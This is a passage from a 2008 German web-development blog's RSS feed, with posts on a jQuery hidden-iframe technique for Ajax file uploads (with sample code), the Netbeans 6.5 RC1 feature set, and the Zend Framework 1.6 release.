<li><a href='http://everflux.de/netbeans-features-edit-review-936/' rel='bookmark' title='Netbeans Features: Edit Review'>Netbeans Features: Edit Review</a></li>
<li><a href='http://everflux.de/netbeans-65-kommt-rc1-709/' rel='bookmark' title='Netbeans 6.5 kommt: RC1'>Netbeans 6.5 kommt: RC1</a></li>
<li><a href='http://everflux.de/netbeans-klassen-zum-interface-finden-934/' rel='bookmark' title='Netbeans: Klassen zum Interface finden'>Netbeans: Klassen zum Interface finden</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/netbeans-65-released-751/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ajax File upload mit jQuery &#8211; ohne DWR</title>
		<link>http://everflux.de/ajax-file-upload-mit-jquery-ohne-dwr-743/</link>
		<comments>http://everflux.de/ajax-file-upload-mit-jquery-ohne-dwr-743/#comments</comments>
		<pubDate>Sun, 16 Nov 2008 21:43:33 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Entwicklung]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[dwr]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=743</guid>
		<description><![CDATA[Ajax ist eine tolle Erfindung &#8211; bis auf ein paar &#8220;Kleinigkeiten&#8221;. Z.B. ist nicht vorgesehen einen Dateiupload mittels Ajax zu realisieren. Da muss schon ein echtes Formular her. Doch wenn dennoch eine Datei im Hintergrund hochgeladen werden soll &#8211; also ein &#8220;echter&#8221; Ajax File upload realisiert werden soll &#8211; greift man in die kreative Trickkiste. [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/ajax-file-upload-mit-jquery-ohne-dwr-743/">Ajax File upload mit jQuery &#8211; ohne DWR</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Ajax ist eine tolle Erfindung &#8211; bis auf ein paar &#8220;Kleinigkeiten&#8221;. Z.B. ist nicht vorgesehen einen Dateiupload mittels Ajax zu realisieren. Da muss schon ein echtes Formular her.</p>
<p>Doch wenn dennoch eine Datei im Hintergrund hochgeladen werden soll &#8211; also ein &#8220;echter&#8221; Ajax File upload realisiert werden soll &#8211; greift man in die kreative Trickkiste. Die üblichen Verdächtigen für solche Aufgaben sind DWR, jQuery, Dojo. DWR bringt in der Inkarnation 3.0 dann auch Support für Ajax Fileupload, inclusive einem Mapper. Also zurück zu den Basics &#8211; was tun, wenn ein XmlHttpRequest nicht da ist? Richtig! Unsichtbares iframe nehmen.<span id="more-743"></span>Das ganze muss etwas getrickst werden, damit auch wirklich alles bei dem Ajax Dateiupload gut geht &#8211; auf das Timing kommts an. Am einfachsten ist das mit jQuery:</p>
<ol>
<li>An den submit Event des per Ajax abzuschickenden Formulars hängen und dort folgendes ausführen:</li>
<li>Unsichtbares IFRAME erzeugen</li>
<li>An das IFRAME einen load-handler hängen: dieser wird aufgerufen wenn das Formular (iframe) abgeschickt ist &#8211; dieser räumt das iframe wieder auf und benachrichtigt handler</li>
<li>Das iframe als target von dem abzuschickenden Formular setzen</li>
</ol>
<p>Das ganze im Quellcode mit jQuery und Ausgabe für die Firebug Firefox Konsole, um den Ajax Upload zu verfolgen:<br />
<code><br />
console.log("jquery setup");<br />
jQuery("#logoUploadForm").submit( function(data)<br />
{<br />
var submittingForm = jQuery( this );<br />
var frameName = ("upload"+(new Date()).getTime());<br />
var uploadFrame = jQuery("&lt;iframe name=\""+frameName+"\" /&gt;");</code></p>
<p>console.log(&#8220;submitting form&#8221;);</p>
<p>uploadFrame.css(&#8220;display&#8221;, &#8220;none&#8221;);<br />
uploadFrame.load(function(data){<br />
//submit is complete here<br />
jQuery(&#8216;#logoProgress&#8217;).text(&#8216;Your file was uploaded successfully&#8217;).show().fadeOut(5000);<br />
setTimeout(function(){<br />
console.log(&#8220;removing temp frame&#8221;);<br />
uploadFrame.remove();},100);<br />
});<br />
jQuery(&#8220;body:first&#8221;).append(uploadFrame);</p>
<p>//setup complete<br />
submittingForm.attr(&#8220;target&#8221;, frameName);</p>
<p>});</p>
<p>Behandelt werden muss der Upload dann mit den &#8220;üblichen&#8221; Mitteln. PHP / Zend Framework, Java und Commons Fileupload / Spring Framework, oder was einem sonst in den Sinn kommt.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/ajax-file-upload-mit-jquery-ohne-dwr-743/">Ajax File upload mit jQuery &#8211; ohne DWR</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/fileupload-fur-bilder-mit-jquery-dank-ajax-mit-vorschaufunktion-762/' rel='bookmark' title='Fileupload für Bilder mit jQuery &#8211; dank Ajax mit Vorschaufunktion'>Fileupload für Bilder mit jQuery &#8211; dank Ajax mit Vorschaufunktion</a></li>
<li><a href='http://everflux.de/jquery-html-inhalt-1448/' rel='bookmark' title='jQuery: HTML Inhalt einfärben'>jQuery: HTML Inhalt einfärben</a></li>
<li><a href='http://everflux.de/ubuntu-lucid-fehlerhafter-datei-upload-mit-apache-mod_fcgid-1574/' rel='bookmark' title='Ubuntu Lucid: Fehlerhafter Datei Upload mit Apache mod_fcgid'>Ubuntu Lucid: Fehlerhafter Datei Upload mit Apache mod_fcgid</a></li>
<li><a href='http://everflux.de/ubuntu-i-cant-find-file-ptmr7t-bei-latex-1169/' rel='bookmark' title='ubuntu: I can&#8217;t find file `ptmr7t&#8217; bei LaTeX'>ubuntu: I can&#8217;t find file `ptmr7t&#8217; bei LaTeX</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/ajax-file-upload-mit-jquery-ohne-dwr-743/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Netbeans 6.5 kommt: RC1</title>
		<link>http://everflux.de/netbeans-65-kommt-rc1-709/</link>
		<comments>http://everflux.de/netbeans-65-kommt-rc1-709/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 23:48:01 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[netbeans]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=709</guid>
		<description><![CDATA[Netbeans 6.5 kommt &#8211; der RC1 wurde gestern veröffentlicht. Schon seit geraumer Zeit arbeite ich gerne mit den nightly builds, die einen stabilen Eindruck machen. Was bringt Netbeans neues, und was hat Netbeans 6.5 auch für nicht-Java Entwickler zu bieten?Ich sollte dazu sagen, dass ich ein bekennender Eclipse Fan bin &#8211; IntelliJ und VisualStudio, sofern [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-65-kommt-rc1-709/">Netbeans 6.5 kommt: RC1</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Netbeans 6.5 kommt &#8211; der RC1 wurde gestern veröffentlicht. Schon seit geraumer Zeit arbeite ich gerne mit den nightly builds, die einen stabilen Eindruck machen. Was bringt Netbeans neues, und was hat Netbeans 6.5 auch für nicht-Java Entwickler zu bieten?<span id="more-709"></span>Ich sollte dazu sagen, dass ich ein bekennender Eclipse Fan bin &#8211; IntelliJ und VisualStudio, sofern man das in einem Atemzug erwähnen darf, haben mich beide nicht wirklich überzeugen können.</p>
<p><strong>Netbeans für PHP Entwickler:</strong></p>
<p>Wir haben Coden Completion, Syntax Highlighting, Refactoring soll noch folgen. Funktioniert alles soweit, besser als Eclipse mit dem PDE. Xdebug, Heredoc und Mysql Database code-snippet Generator. (Nicht getestet).</p>
<p><strong>Netbeans für JavaScript und Ajax Entwickler</strong></p>
<p>JavaScript Debugging mittels Firefox und auch Internet Explorer Integration. HTTP Überwachung (ähnlich wie LiveHttpHeaders bzw. Firebug für Firefox).</p>
<p>JavaScript Editor mit Syntax Highlighting und Code Completion. Support für die JavaScript Libraries Yahoo UI, Woodstock, jQuery, Dojo, Scraptaculous und Prototype js. CSS Editor.</p>
<p><strong>Netbeans für Groovy und Grails</strong></p>
<p>Groovy Projekt und Groovy in Java Projekten, Groovy Code Editor (highlighting, completion). Grails web application framework support. Direkte Bearbeitung von existierenden Grails Applikationen.</p>
<p><strong>Netbeans für C++ Entwickler</strong></p>
<p>Verbesserte Code completion, Fehlermarkierung und semantische Färbung des Quellcodes. Callgraph, Speicher Analyse. Packaging und Deployment Unterstützung.</p>
<p><strong>Netbeans für Ruby on Rails Entwickler</strong></p>
<p>Neues Interface für Test Runner, zur Visualisierung der Testergebnisse. Rake Runner und vorgefertigte Rake Dateien. Ruby Debugger unterstützt jetzt bedingte Breakpoints und catchpoints. Für JRuby werden JVM options auf der Kommandozeile akzeptiert.</p>
<p>Jetzt zurück zu den mehr oder minder direkt zu Java gehörigen Features von Netbeans 6.5.</p>
<p><strong>Netbeans für Java EE und Web Entwickler</strong></p>
<p>Die Netbeans Unterstützung für Spring, Hibernate, JSF (CRUD Generator) und JPA (Java Persistence API) wurden verbessert. Automatische Erzeugung von RESTful Webservicdes aus Datenbank schemata oder JPA Entitäten.</p>
<p>Drag and Drop SaaS services in PHP Dateien, SQL Editor Erweiterungen: Code Completion, Save/recall Abfragen. Automatisches Deployment beim Speichern und verbesesrter Import von Eclipse Projekten. (Das klappt wirklich gut inzwischen.)</p>
<p><strong>Netbeans für Java Mobile ( JavaME) Entwickler</strong></p>
<p>Neuer Projekt Wizard um eigene Komponenten zur Design Palette hinzuzufügen, SVG UI Elemente für den SVG UI Editor um SVG Userinterfaces zu erstellen. Neue Databinding Komponenten für den visuellen Editor. Upgrades für Java Obfuscator auf ProGuard 4.2 uns das Testframework JMunit 1.1.0</p>
<p><strong>Java Debugging mit Netbeans</strong></p>
<p>Neuer multi-thread Debugger mit verbessertem Userinterface und work-flow, inteliggentes step-into mit Methodenauswahl innerhalb von Ausdrücken sowie Deadlock Detektor mit visuellem Feedback.</p>
<p><strong>Netbeans für Java SE Entwickler</strong></p>
<p>Automatisches Kompilieren beim Speichern, Verbesserter Umgang mit Eclipse Projekten, Java Call Hierachie, JavaDoc Analyse und überarbeiteter Swing GUI Builder.</p>
<p><strong>Netbeans &#8211; generelles</strong></p>
<p>CamelCaseCodeCompleten, &#8220;CCCC&#8221;, pro Projekt können die Code Formate eingestellt werden (sehr schön!), QuickSearch die IDE Actions, Dateien, Optionen und Dokumente einbezieht</p>
<p>Ein Blick auf das neue Netbeans lohnt in jedem Fall &#8211; auch nicht aufgeführte erweiterte Features wie z.B. der UML Editor von Netbeans sind einen Blick wert. Auch der Matisse Swing UI Designer sucht seines gleichen.</p>
<p>Die gesamte Liste der Änderungen von Netbeans 6.5 findet sich <a href="http://wiki.netbeans.org/NewAndNoteWorthy" target="_blank">hier</a>. Zum Download von Netbeans 6.5 RC1 (Build 65) geht es <a href="http://download.netbeans.org/netbeans/6.5/rc/" target="_blank">hier</a>.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-65-kommt-rc1-709/">Netbeans 6.5 kommt: RC1</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/netbeans-65-milestone-1-php-groovy-glassfish-und-mehr-604/' rel='bookmark' title='Netbeans 6.5 Milestone 1 PHP, Groovy, Glassfish und mehr'>Netbeans 6.5 Milestone 1 PHP, Groovy, Glassfish und mehr</a></li>
<li><a href='http://everflux.de/netbeans-65-released-751/' rel='bookmark' title='Netbeans 6.5 released'>Netbeans 6.5 released</a></li>
<li><a href='http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/' rel='bookmark' title='Oracle veröffentlicht Netbeans 6.9'>Oracle veröffentlicht Netbeans 6.9</a></li>
<li><a href='http://everflux.de/netbeans-javascript-support-php-und-andere-features-562/' rel='bookmark' title='Netbeans JavaScript Support, PHP und andere Features'>Netbeans JavaScript Support, PHP und andere Features</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/netbeans-65-kommt-rc1-709/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Zend Framework 1.6 erschienen</title>
		<link>http://everflux.de/zend-framework-16-erschienen-647/</link>
		<comments>http://everflux.de/zend-framework-16-erschienen-647/#comments</comments>
		<pubDate>Sun, 07 Sep 2008 20:43:54 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=647</guid>
		<description><![CDATA[Das Zend Framework ist in Version 1.6 veröffentlicht worden. Die wohl größte Neuerung ist die enge Integration von Dojo. Ansonsten gibt es ein paar neue Funktionen, die gesamte Anleitung als PDF und vor allem Fehlerbereinigungen gegenüber dem Zend Framework 1.5: Zend_Tool Lucene 2.3 Index File Format Support Zend_Session save handler for Database Tables Paginator Component [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/zend-framework-16-erschienen-647/">Zend Framework 1.6 erschienen</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Das Zend Framework ist in Version 1.6 veröffentlicht worden. Die wohl größte Neuerung ist die enge Integration von Dojo.</p>
<p>Ansonsten gibt es ein paar neue Funktionen, die gesamte Anleitung als PDF und vor allem Fehlerbereinigungen gegenüber dem Zend Framework 1.5:</p>
<ul class="disc">
<li>Zend_Tool</li>
<li>Lucene 2.3 Index File Format Support</li>
<li>Zend_Session save handler for Database Tables</li>
<li>Paginator Component</li>
<li>Figlet Support</li>
<li>ReCaptcha Service</li>
<li>Captcha Form Element</li>
<li>Zend_Config_Xml Attribute Support</li>
<li>Zend_File_Transfer Component</li>
<li>File Upload Form Element</li>
<li>Zend_Wildfire Component with FireBug Log Writer</li>
</ul>
<p>Sehr gelungen ist auch die <a href="http://www.christophdorn.com/Blog/2008/09/02/firephp-and-zend-framework-16/" target="_blank">Integration von FirePHP in das Zend Framework</a>, über das Christoph Dorn auch bloggt. Für die Controller gibt es nun Unit Test Unterstützung durch das Zend Framework, und Zend_Tool soll die Projektverwaltung vereinfachen.</p>
<p>Die ersten Bugs ließen nicht lange auf sich warten, für den produktiven Einsatz der neuen Features ist etwas abwarten auf die Version 1.6.1 des Zend Framework wohl zu empfehlen.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/zend-framework-16-erschienen-647/">Zend Framework 1.6 erschienen</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/php5-zend-framework-10-erschienen-243/' rel='bookmark' title='PHP5: Zend Framework 1.0 erschienen'>PHP5: Zend Framework 1.0 erschienen</a></li>
<li><a href='http://everflux.de/zend-framework-102-395/' rel='bookmark' title='Zend Framework &#8211; 1.0.2'>Zend Framework &#8211; 1.0.2</a></li>
<li><a href='http://everflux.de/zend-framework-15-fur-php-5-veroffentlicht-510/' rel='bookmark' title='Zend Framework 1.5 für PHP 5 veröffentlicht'>Zend Framework 1.5 für PHP 5 veröffentlicht</a></li>
<li><a href='http://everflux.de/zend-und-lucene-22-21-396/' rel='bookmark' title='PHP Zend Framework und Lucene 2.2 / 2.1'>PHP Zend Framework und Lucene 2.2 / 2.1</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/zend-framework-16-erschienen-647/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

